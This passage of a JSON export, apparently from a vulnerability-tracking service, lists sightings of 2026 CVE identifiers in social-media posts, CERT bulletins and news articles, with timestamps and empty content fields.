"https://bsky.app/profile/shiojiri.com/post/3mcee2ae7zs2w", "content": "", "creation_timestamp": "2026-01-14T05:38:34.590668Z"}, {"uuid": "271bd3dc-9c40-4c49-9ea3-00fc77821086", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mceio7jeyt26", "content": "", "creation_timestamp": "2026-01-14T07:00:04.931364Z"}, {"uuid": "b2294332-ea73-45e9-896d-7f5198ecb75d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/ie-news.bsky.social/post/3mcel6qpzd72u", "content": "", "creation_timestamp": "2026-01-14T07:45:08.101677Z"}, {"uuid": "fa19e558-d8db-4802-bd6b-e16987fd5d58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2006", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0315/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "efded8d9-38fd-4fdb-9844-e1f3584594f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2094", "type": "seen", "source": "https://www.twcert.org.tw/en/cp-139-10698-1ab75-2.html", "content": "", "creation_timestamp": "2026-02-06T11:13:00.000000Z"}, {"uuid": "58869f9c-6934-43e9-825d-eab4728fa8af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/kriittisia-haavoittuvuuksia-cisco-catalyst-sd-wan-tuotteissa", "content": "", "creation_timestamp": "2026-02-25T18:43:06.000000Z"}, {"uuid": "fcfd41c4-16ab-4fa5-948f-e64c67653408", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2093", "type": "seen", "source": "https://www.twcert.org.tw/en/cp-139-10698-1ab75-2.html", "content": "", "creation_timestamp": "2026-02-06T11:13:00.000000Z"}, {"uuid": "cd9ecb62-ed08-4b40-9576-6c97af943f2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20163", "type": "seen", "source": "https://infosec.exchange/users/BugBountyShorts/statuses/116221373950139353", "content": "", "creation_timestamp": "2026-03-13T10:24:08.176833Z"}, {"uuid": "3c6dc140-ff20-4af2-bcb2-ac2cbadb5923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2097", "type": "seen", "source": "https://www.twcert.org.tw/en/cp-139-10700-3534d-2.html", "content": "", "creation_timestamp": "2026-02-06T12:06:00.000000Z"}, {"uuid": "f9b371b9-3530-427c-b8ce-eba63a8fbe32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mhwvfq4azg2d", "content": "", "creation_timestamp": "2026-03-26T05:41:52.716465Z"}, {"uuid": "5c1bba32-eabc-4224-9b23-3f32984c20b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2099", "type": "seen", "source": "https://www.twcert.org.tw/en/cp-139-10700-3534d-2.html", "content": "", "creation_timestamp": "2026-02-06T12:06:00.000000Z"}, {"uuid": "85865b14-b524-4336-937f-75d9664a1900", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhdo3jo2aw24", "content": "", "creation_timestamp": "2026-03-18T14:10:18.655105Z"}, {"uuid": "e5850f3d-080f-4a9b-9dd7-d77b7b28ba02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0315/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "db41b3df-54f0-4a2e-8da5-55bba442c8b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mhqytlfrwc2k", "content": "", "creation_timestamp": "2026-03-23T21:27:23.916674Z"}, {"uuid": "527dae0a-5d64-42d4-a866-671fe33bba58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20086", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-ios-xe-multiple-vulnerabilities_20260326", "content": "", "creation_timestamp": "2026-03-26T03:00:00.000000Z"}, {"uuid": "a3dd87de-6dac-4bea-b294-342818dfbd50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2095", "type": "seen", "source": "https://www.twcert.org.tw/en/cp-139-10700-3534d-2.html", "content": "", "creation_timestamp": "2026-02-06T12:06:00.000000Z"}, {"uuid": "325f9b69-6d58-402e-95f9-1d2711a0fbc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2098", "type": "seen", "source": "https://www.twcert.org.tw/en/cp-139-10700-3534d-2.html", "content": "", "creation_timestamp": "2026-02-06T12:06:00.000000Z"}, {"uuid": "520ad0d3-076d-4154-b1d5-a63f87078748", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mcews2ck5x2p", "content": "", "creation_timestamp": "2026-01-14T11:12:46.676842Z"}, {"uuid": "695019ab-85bd-43f0-a124-b27a29eca8a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mcf4lzwk5b2z", "content": "", "creation_timestamp": "2026-01-14T12:56:47.215032Z"}, {"uuid": "0fc074a8-87f1-4eab-9e3c-1d63f1eab39a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mcf6xcuxev23", "content": "", "creation_timestamp": "2026-01-14T13:38:52.997471Z"}, {"uuid": "6f2a917e-b2d8-4665-abba-935cb5df41f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20834", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/115893733591335456", "content": "", "creation_timestamp": "2026-01-14T13:40:34.975772Z"}, {"uuid": "506c337f-6699-4b81-9e25-c37ab5bf8109", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/115894111458306975", "content": "", "creation_timestamp": "2026-01-14T15:16:40.799430Z"}, {"uuid": "e5f9a083-9293-4433-a084-6ff786aa7b31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20803", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mcfemcsj4726", "content": "", "creation_timestamp": "2026-01-14T15:20:06.096858Z"}, {"uuid": "a3930fb0-704a-4659-b83c-2275ac0b4ff0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20943", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mcfemcsj4726", "content": "", "creation_timestamp": "2026-01-14T15:20:06.207197Z"}, {"uuid": "96cd75b5-edff-44fc-8a08-7876fe522d11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20947", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mcfemcsj4726", "content": "", "creation_timestamp": "2026-01-14T15:20:06.328873Z"}, {"uuid": "a6bbc2b8-94e7-403e-8e83-57ac34140dcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20948", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mcfemcsj4726", "content": "", "creation_timestamp": "2026-01-14T15:20:06.417039Z"}, {"uuid": "7051fc90-0cc1-4533-8cab-a72eae2e089c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20951", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mcfemcsj4726", "content": "", "creation_timestamp": "2026-01-14T15:20:06.518507Z"}, {"uuid": "a7e5e184-8bdd-43f8-8a6d-25907b674de1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20958", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mcfemcsj4726", "content": "", "creation_timestamp": "2026-01-14T15:20:06.618956Z"}, {"uuid": "42ab217a-63bf-4769-8610-87ffcd79ed6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20959", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mcfemcsj4726", "content": "", "creation_timestamp": "2026-01-14T15:20:06.817553Z"}, {"uuid": "e908f39e-c6f2-4fac-b144-9d8925a47e77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mcfemcsj4726", "content": "", "creation_timestamp": "2026-01-14T15:20:06.915488Z"}, {"uuid": "3b75ea38-1853-4e02-b068-3337b490e739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/samilaiho.com/post/3mi7mb2mmmc2t", "content": "", "creation_timestamp": "2026-03-29T16:52:14.739054Z"}, {"uuid": "28a54d62-e376-4fb0-9a16-68b50442cf48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://www.darkreading.com/threat-intelligence/interlock-ransomware-targets-cisco-enterprise-firewalls", "content": "", "creation_timestamp": "2026-03-21T03:00:04.000000Z"}, {"uuid": "6310c9a9-52c5-4aa4-be25-40521b60e7bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20963", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mhmpsovsvl2p", "content": "", "creation_timestamp": "2026-03-22T04:35:07.566635Z"}, {"uuid": "364eca48-dfce-4120-bb66-c54b91934f9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://mstdn.social/users/Hackread/statuses/116221734376880676", "content": "", "creation_timestamp": "2026-03-13T11:55:32.236631Z"}, {"uuid": "3a6a85e6-e7b5-4fd1-b063-7407c99afbdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://www.theregister.com/2026/03/19/unknown_attackers_exploit_yet_another/", "content": "", "creation_timestamp": "2026-03-21T03:00:05.000000Z"}, {"uuid": "9e2d00cc-915a-453a-b6ec-30f997e48067", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20125", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-ios-xe-multiple-vulnerabilities_20260326", "content": "", "creation_timestamp": "2026-03-26T03:00:00.000000Z"}, {"uuid": "1491bcf7-1438-4ff7-9d99-e7e1c60e9a95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20131", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116296240279013939", "content": "", "creation_timestamp": "2026-03-26T15:43:19.760284Z"}, {"uuid": "e8e88655-491b-4949-bfed-0b292781add0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20115", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-ios-xe-multiple-vulnerabilities_20260326", "content": "", "creation_timestamp": "2026-03-26T03:00:00.000000Z"}, {"uuid": "bd38c760-ca45-4488-b0e7-0eea11dbfd90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20012", "type": "seen", "source": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ftd-ios-dos-kPEpQGGK?vs_f=Cisco%20Security%20Advisory%26vs_cat=Security%20Intelligence%26vs_type=RSS%26vs_p=Cisco%20IOS,%20IOS%20XE,%20Secure%20Firewall%20Adaptive%", "content": "", "creation_timestamp": "2026-03-26T03:00:10.000000Z"}, {"uuid": "e919c23a-6654-4557-8513-886f55340ef8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mhxwzqyfws2f", "content": "", "creation_timestamp": "2026-03-26T15:43:37.966121Z"}, {"uuid": "2eaa0ee1-1875-4ced-b37b-1a2dd90bd18b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/darkreading.bsky.social/post/3mcff3prvun2v", "content": "", "creation_timestamp": "2026-01-14T15:28:43.003673Z"}, {"uuid": "c6dd8132-3ce7-4ac8-9299-0dc381cb7445", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20131", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mhmrsu7sxv2k", "content": "", "creation_timestamp": "2026-03-22T05:11:00.589745Z"}, {"uuid": "08c4b726-4bb4-4882-b3bd-07ff3ce431c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20114", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-ios-xe-multiple-vulnerabilities_20260326", "content": "", "creation_timestamp": "2026-03-26T03:00:00.000000Z"}, {"uuid": "e263a03b-cee1-4851-9047-c9e59ac830c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20040", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116213113926061059", "content": "", "creation_timestamp": "2026-03-11T23:23:14.947963Z"}, {"uuid": "3429d60c-618a-4907-b10f-d89a90e7c891", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mhfrtrjxucm2", "content": "", "creation_timestamp": "2026-03-19T10:23:11.565033Z"}, {"uuid": "b17c9bb3-2977-4597-9072-d942a37f7774", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20110", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-ios-xe-multiple-vulnerabilities_20260326", "content": "", "creation_timestamp": "2026-03-26T03:00:00.000000Z"}, {"uuid": "70cf45a0-04da-4902-815e-0e18bbe07505", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/kaldata.bsky.social/post/3mcflpn7olt2a", "content": "", "creation_timestamp": "2026-01-14T17:27:15.042430Z"}, {"uuid": "9a612caa-5291-47fa-b8ad-1eac7ac692f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20805", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/115894624907982414", "content": "", "creation_timestamp": "2026-01-14T17:27:16.075480Z"}, {"uuid": "3b537a37-8849-4068-b60d-63f666bc2e0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/115894625704571989", "content": "", "creation_timestamp": "2026-01-14T17:27:31.587162Z"}, {"uuid": "b02ac3b0-fc5d-4d6a-b91e-4fe9b58db62e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mcflq6nymw24", "content": "", "creation_timestamp": "2026-01-14T17:27:31.974862Z"}, {"uuid": "308a8f40-0111-4c60-95c8-f5841f479d88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mcflqtpad22h", "content": "", "creation_timestamp": "2026-01-14T17:27:54.018906Z"}, {"uuid": "d342ca94-2c7b-4fb0-89d7-53d935fbbcba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mcflv5kpxs2o", "content": "", "creation_timestamp": "2026-01-14T17:30:19.032025Z"}, {"uuid": "89e2f149-472a-43bc-ac76-4e85c8630644", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mcfptndlxi2j", "content": "", "creation_timestamp": "2026-01-14T18:41:03.487922Z"}, {"uuid": "c76766e4-62d2-4649-92ff-aeeba617d807", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20163", "type": "seen", "source": "https://bsky.app/profile/secqube.com/post/3mhsesgybsq2p", "content": "", "creation_timestamp": "2026-03-24T10:34:06.386567Z"}, {"uuid": "90c1ea01-8352-4d1d-8d12-ccc8e2dbd8fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20104", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-ios-xe-multiple-vulnerabilities_20260326", "content": "", "creation_timestamp": "2026-03-26T03:00:00.000000Z"}, {"uuid": "b7b7983e-836d-4887-8aef-4e798d206911", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://threatintel.cc/2026/01/14/cyber-threat-intelligence-briefing-jan.html", "content": "", "creation_timestamp": "2026-01-14T14:17:01.000000Z"}, {"uuid": "9d9d2fce-a391-4434-967b-7c2d88b9fb24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mcfxrjef4f2f", "content": "", "creation_timestamp": "2026-01-14T21:03:02.548049Z"}, {"uuid": "13a40d83-167b-4bfa-9330-0b97345f473f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mcg6j3yi3k26", "content": "", "creation_timestamp": "2026-01-14T23:03:39.136721Z"}, {"uuid": "e71b9c87-fb60-4fb4-b5cc-580b1fdebd91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20046", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116213220098846252", "content": "", "creation_timestamp": "2026-03-11T23:50:16.195272Z"}, {"uuid": "be963ab5-fcbe-4982-b994-7e2e60a3749b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116255491837571160", "content": "", "creation_timestamp": "2026-03-19T11:00:28.255212Z"}, {"uuid": "b174acc1-abd2-4127-a7d0-55b792e17af7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-20127", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0036be7f-5d6e-4585-9861-52a8e23b40b6", "content": "", "creation_timestamp": "2026-02-25T17:00:01.984798Z"}, {"uuid": "0761a66a-6a9a-4184-9744-91741f43e348", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20963", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mhftwzivy52e", "content": "", "creation_timestamp": "2026-03-19T11:00:30.286919Z"}, {"uuid": "b5438e04-bfe4-471b-8b09-73969986d108", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20084", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-ios-xe-multiple-vulnerabilities_20260326", "content": "", "creation_timestamp": "2026-03-26T03:00:00.000000Z"}, {"uuid": "e5f5f6b4-79ac-4c31-8eae-0fe5dabc18d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mhxy6toj272n", "content": "", "creation_timestamp": "2026-03-26T16:04:22.026119Z"}, {"uuid": "a61c3383-3953-48f0-9f2c-74024d62440a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcge5fxhe22h", "content": "", "creation_timestamp": "2026-01-15T00:44:32.960632Z"}, {"uuid": "feab5916-06fd-4281-9e46-8423fa081366", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/gamepulsenews.bsky.social/post/3mcgmgfnlma2j", "content": "", "creation_timestamp": "2026-01-15T03:12:37.428653Z"}, {"uuid": "9ccda096-58ee-4b63-8633-69e1e6f3903b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20803", "type": "seen", "source": "https://bsky.app/profile/cyberdudebivash.bsky.social/post/3mcgtzvyyis2q", "content": "", "creation_timestamp": "2026-01-15T05:28:53.638978Z"}, {"uuid": "a3e2acbe-47dd-4212-aba9-9726c80c38d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20083", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-ios-xe-multiple-vulnerabilities_20260326", "content": "", "creation_timestamp": "2026-03-26T03:00:00.000000Z"}, {"uuid": "a022eb9f-8516-4c07-b56b-a89cc11b9a21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116250849364616830", "content": "", "creation_timestamp": "2026-03-18T15:19:49.349919Z"}, {"uuid": "793681e5-4f01-4529-a8b3-ea1f75d33deb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20131", "type": "seen", "source": "https://infosec.exchange/users/technadu/statuses/116255613831208088", "content": "", "creation_timestamp": "2026-03-19T11:31:31.067129Z"}, {"uuid": "9e0bd0e0-834d-45c0-a410-a6a9e3730c76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20012", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-ios-xe-multiple-vulnerabilities_20260326", "content": "", "creation_timestamp": "2026-03-26T03:00:00.000000Z"}, {"uuid": "5ee5b6de-29a8-48e4-8a1c-a07144d7dc33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20126", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116250849364616830", "content": "", "creation_timestamp": "2026-03-18T15:19:49.425508Z"}, {"uuid": "87351682-0cc8-4d3e-b728-15f25e566453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/technadu.com/post/3mhfvs3tdok2e", "content": "", "creation_timestamp": 